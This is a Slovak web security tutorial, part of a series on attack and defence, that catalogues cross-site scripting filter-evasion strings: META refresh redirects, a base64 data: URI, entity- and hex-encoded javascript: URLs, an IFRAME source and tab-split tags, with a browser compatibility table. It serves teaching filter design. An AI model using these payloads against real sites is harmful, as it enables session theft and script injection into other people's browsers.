Image
16.6.2016 0 Comments

WWW hacking a obrana / 9. časť

Ten­to­raz po­kra­ču­je­me v pred­sta­vo­va­ní rôz­nych re­ťaz­cov, kto­ré mô­že útoč­ník po­užiť, aby sa mu po­da­ri­lo in­jek­to­vať kód. Stá­le však eš­te nep­re­be­rá­me in­jek­to­va­nie kó­du do ošet­re­né­ho vstu­pu. Naj­prv po­tre­bu­je­me po­znať čo naj­viac mož­ných ty­pov úto­kov, aby sme ve­de­li navr­hnúť čo naj­lep­ší filtrač­ný al­go­rit­mus.

Nas­le­du­jú­ce spô­so­by sú očís­lo­va­né v po­ra­dí od pr­vé­ho, kto­rý sme si pred­sta­vi­li v pre­doš­lej (ôs­mej) čas­ti se­riá­lu.
Pred­sta­ví­me vám ďal­ších päť spô­so­bov in­jek­to­va­nia kó­du. Z to­ho hneď pr­vý trik (trik č. 4) ne­pot­re­bu­je ani skript. Ďal­šie spô­so­by sú za­lo­že­né na hexade­ci­mál­nom a Uni­co­de zá­pi­se re­ťaz­ca. Po­tom tag <IF­RA­ME> a trik s ta­bu­lá­to­rom.

4. spô­sob
Ten­to spô­sob je za­ují­ma­vý hlav­ne tým, že ne­pot­re­bu­je ni­ja­ký skript. Tag slú­ži na viac úko­nov, no s ob­sa­hom "ref­resh pa­ra­met­ra HTTP-EQUIV prej­de na strán­ku ur­če­nú pa­ra­met­rom url.
<ME­TA HTTP-EQUIV="ref­resh" CON­TENT="0;url=http://www.ne­ja­ka-do­me­na.com">

Hroz­ba je už na pr­vý po­hľad zrej­má. Ak útoč­ník po­šle do webo­vej ap­li­ká­cie re­ťa­zec, kto­rý bu­de ob­sa­ho­vať tag <ME­TA>, po­dob­ný to­mu pred­chád­za­jú­ce­mu, no s ob­sa­hom pa­ra­met­ra url uka­zu­jú­cim na je­ho server, kde sa nac­hád­za skript, kto­rý od­chy­tí ses­sion (re­lá­ciu) a po­uží­va­te­ľa okam­ži­te pres­me­ru­je späť, má bez prob­lé­mov vy­hra­né. Po­uží­va­teľ si väč­ši­nou nič nev­šim­ne, pre­to­že pres­me­ro­va­nie pre­bie­ha rých­lo. Pro­to­ko­lom sa pre­ná­ša len ma­lý po­čet baj­tov.

Ďal­šie mož­né po­do­by ta­gu <ME­TA>:
Ten­to tag už po­uží­va skript
<ME­TA HTTP-EQUIV="ref­resh" CON­TENT="0;url=ja­vas­cript:alert('Hac­ked!')">

Ten­to tag sa ta­kis­to po­kú­si pres­me­ro­vať na ur­če­nú ad­re­su, ale ten­to­raz zob­ra­zí sprá­vu s textom „Hac­ked!“.
Vý­hod­ná je mož­nosť za­kó­do­va­nia skrip­tu po­mo­cou Ba­se64, aby re­ťa­zec pre­šiel filtrač­ným al­go­rit­mom:
Re­ťa­zec <script>alert("XSS At­tack!")</script> vy­ze­rá v za­kó­do­va­nej for­me (Ba­se64) tak­to:
PHNjcmlwdD5hbGVyd­CgiWFNTIEF0dGFjayEiKTwvc2NyaXB0Pg0K

A vý­sled­ný tag je ta­ký­to:
<ME­TA HTTP-EQUIV="ref­resh" CON­TENT="0;url=da­ta:text/html;ba­se64,
PHNjcmlwdD5hbGVyd­CgiWFNTIEF0dGFjayEiKTwvc2NyaXB0Pg0K">

Sa­moz­rej­me, že útoč­ník, kto­rý chce viac ako len zob­ra­ziť sprá­vu „XSS At­tack!“, si za­kó­du­je ľu­bo­voľ­ný skript.

5. spô­sob
V tom­to prí­pa­de ide o zá­pis v Uni­co­de. Všim­ni­te si, že v pr­vom prí­pa­de sú za­pí­sa­né len cif­ry v kó­de, kto­ré sú po­treb­né, za­tiaľ čo v dru­hom prí­pa­de sú pred ni­mi nu­ly. Oba spô­so­by však fun­gu­jú. To spô­so­bí troc­hu viac prob­lé­mov pre filtrač­ný al­go­rit­mus (zá­le­ží však na tom, akým spô­so­bom po­dob­né re­ťaz­ce ošet­ru­je).

Nas­le­du­jú­ci re­ťa­zec Uni­co­de ob­sa­hu­je ja­vas­cript:alert("XSS").
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;
&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

<IMG SRC=&#0106&#0000097&#00118&#0097&#000115&#0099&#0000114&#0000105&#0000112
&#00116&#0000058&#000097&#00108&#00101&#0000114&#000116&#0000040&#039&#000088&#0083&#83&#0000039&#041>

6. spô­sob
Ide o kla­sic­ké hexade­ci­mál­ne vy­jad­re­nie re­ťaz­ca. Tag <<IMG> mu­sí byť, sa­moz­rej­me, za­pí­sa­ný ako text, ale po tom, ako par­ser inter­ne­to­vé­ho preh­lia­da­ča vstú­pi do ta­gu a za­čne par­so­vať je­ho ob­sah, mô­že byť ob­sah vy­jad­re­ný aj hexade­ci­mál­nym zá­pi­som, ako je to v tom­to prí­pa­de.

Nas­le­du­jú­ci hexade­ci­mál­ny re­ťa­zec ob­sa­hu­je ja­vas­cript:alert("XSS").
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65
&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&gt;

Fun­gu­je však aj ten­to kód:
<IMG SRC=&#x6A&#x0061&#x00076&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C
&#x0065&#x072&#x74&#x28&#x27&#x0000000000058&#x53&#x0000000053&#x27&#x29>

7. spô­sob
Po­vo­le­ný tag <IF­RA­ME> je veľ­ká príl­eži­tosť pre útoč­ní­ka, pre­to­že na ne­ho ve­ľa prog­ra­má­to­rov za­bú­da. Je to hlav­ne vte­dy, ak up­red­nos­tňu­jú tzv. čier­ny zoz­nam (black list). To zna­me­ná, že pri filtrač­nom al­go­rit­me za­ka­zu­jú ur­či­té ta­gy na­mies­to to­ho, aby ur­či­té ta­gy po­vo­li­li. Opa­kom čier­ne­ho zoz­na­mu (lis­ti­ny) je bi­ely zoz­nam, kde sú de­fi­no­va­né po­vo­le­né ta­gy. Všeo­bec­ne sa strik­tne v ob­las­ti bez­peč­nos­ti pri rôz­nych si­tuá­ciách od­po­rú­ča po­uží­vať bi­ely zoz­nam na­mies­to čier­ne­ho.
<IF­RA­ME SRC="ja­vas­cript:alert('XSS');"></IF­RA­ME>

8. spô­sob
Mys­lí­te si, že nas­le­du­jú­ci tag ne­mô­že fun­go­vať? Ide o tag, v kto­rom je re­ťa­zec (skript) od­de­le­ný na via­ce­rých mies­tach ta­bu­lá­to­rom. Ke­by filtro­va­cí al­go­rit­mus nep­rih­lia­dal na tú­to mož­nosť, in­jek­to­va­nie kó­du by sa po­da­ri­lo.

<IMG SRC="ja­va    sc    ript:al     ert();">

<IMG SRC="  ja­va  sc    ript:al     e     r     t(    );">

<IMG SRC="ja­va    sc    ript:do­cu­ment.wri­te('Hac­ked!');">

<IMG SRC="ja­va    sc    ript:do­cu­ment.lo­ca­tion = 'http://www.ne­ja­ka-do­me­na.com';">

<IMG SRC="ja­va    sc    ript:do­cu­men      t.    lo­ca­tion = 'http://www.ne­ja­ka-do­me­na.com';">

Spô­sob č.:

1

2

3

4

5

Fi­re­fox

NIE

ÁNO

ÁNO

ÁNO

ÁNO

Inter­net Explo­rer 6

ÁNO

NIE

NIE

ÁNO

NIE

Inter­net Explo­rer

NIE

NIE

NIE

ÁNO

NIE

Net­sca­pe Na­vi­ga­tor

ÁNO

NIE

NIE

ÁNO

NIE

Ope­ra

ÁNO

ÁNO

ÁNO

ÁNO

ÁNO

Sa­fa­ri

ÁNO

NIE

NIE

ÁNO

NIE

* Pres­me­ro­va­nie, sa­moz­rej­me, fun­gu­je, ale ak je v pa­ra­met­ri url skript, ne­vy­ko­ná sa.

Tes­to­va­né preh­lia­da­če:
Mo­zil­la Fi­re­fox v. 2.0.0.6 (Mo­zil­la)
Sa­fa­ri 3.0.3 (App­le Inc.)
Mic­ro­soft Inter­net Explo­rer 6 (Mic­ro­soft )
Win­dows Inter­net Explo­rer 7.0 (Mic­ro­soft)
Ope­ra 9.23 (Ope­ra Software ASA)
Net­sca­pe Na­vi­ga­tor 9.0 (Net­sca­pe Com­mu­ni­ca­tions Cor­po­ra­tion)

Zá­ver
Pred­sta­vi­li sme vám ďal­ších päť mož­ných spô­so­bov, kto­rý­mi mô­že útoč­ník ús­peš­ne in­jek­to­vať kód do webo­vej ap­li­ká­cie. Na­bu­dú­ce vás oboz­ná­mi­me s po­sled­ný­mi spô­sob­mi. Tie­to spô­so­by ta­kis­to otes­tuj­te vo vlas­tnej webo­vej ap­li­ká­cii, aby ste zis­ti­li, či je váš filtrač­ný al­go­rit­mus ús­peš­ný v sú­bo­ji s tým­to kó­dom. A tým, kto­rí na na­pí­sa­nie vlas­tné­ho filtrač­né­ho al­go­rit­mu ne­ma­jú dos­ta­tok skú­se­nos­tí, v 11. čas­ti se­riá­lu uká­že­me, ako nap­rog­ra­mo­vať zá­klad­nú časť ta­ké­ho­to al­go­rit­mu.

Autor: Ján Chovanec

Nechajte si posielať prehľad najdôležitejších správ emailom

Mohlo by Vás zaujímať

Ako na to 1

Tipy a triky: Ako aplikácii prednastaviť spúšťanie s administrátorskými právami?

30.11.2016 00:10

Väčšina aspoň trochu skúsenejších používateľov vie, že aj keď máte na operačnom systéme Windows vytvorený administrátorský účet, aplikácie pre bezpečnosť nefungujú vždy splnými administrátorskými práv ...

Ako na to 1

Tipy a triky: Ako vypnúť uzamykaciu obrazovku vo Windows 10?

29.11.2016 00:10

Rozčuľuje vás, že pred každým prihlásením doúčtu vášho počítača musíte prejsť uzamykacou obrazovkou? Windows 10 na tejto obrazovke ukazuje čas,dátum anejakú zaujímavú fotografiu zrôznych kútov sveta. ...

Ako na to 3

Ako na to: Ochranná fólia versus tvrdené sklo? Čo je lepšie pre smartfón?

25.11.2016 00:16

Pomôže mobilu ďalšia vrstva ochrany alebo nie? Stačí klasická – plastová fólia alebo je tvrdené sklo tá lepšia voľba? Všetci dobre vieme, ako ľahko sa dokážu moderné smartphony doškriabať – či už pria ...

Žiadne komentáre

Vyhľadávanie

Kyocera - prve-zariadenia-formatu-a4-s-vykonom-a3

Najnovšie videá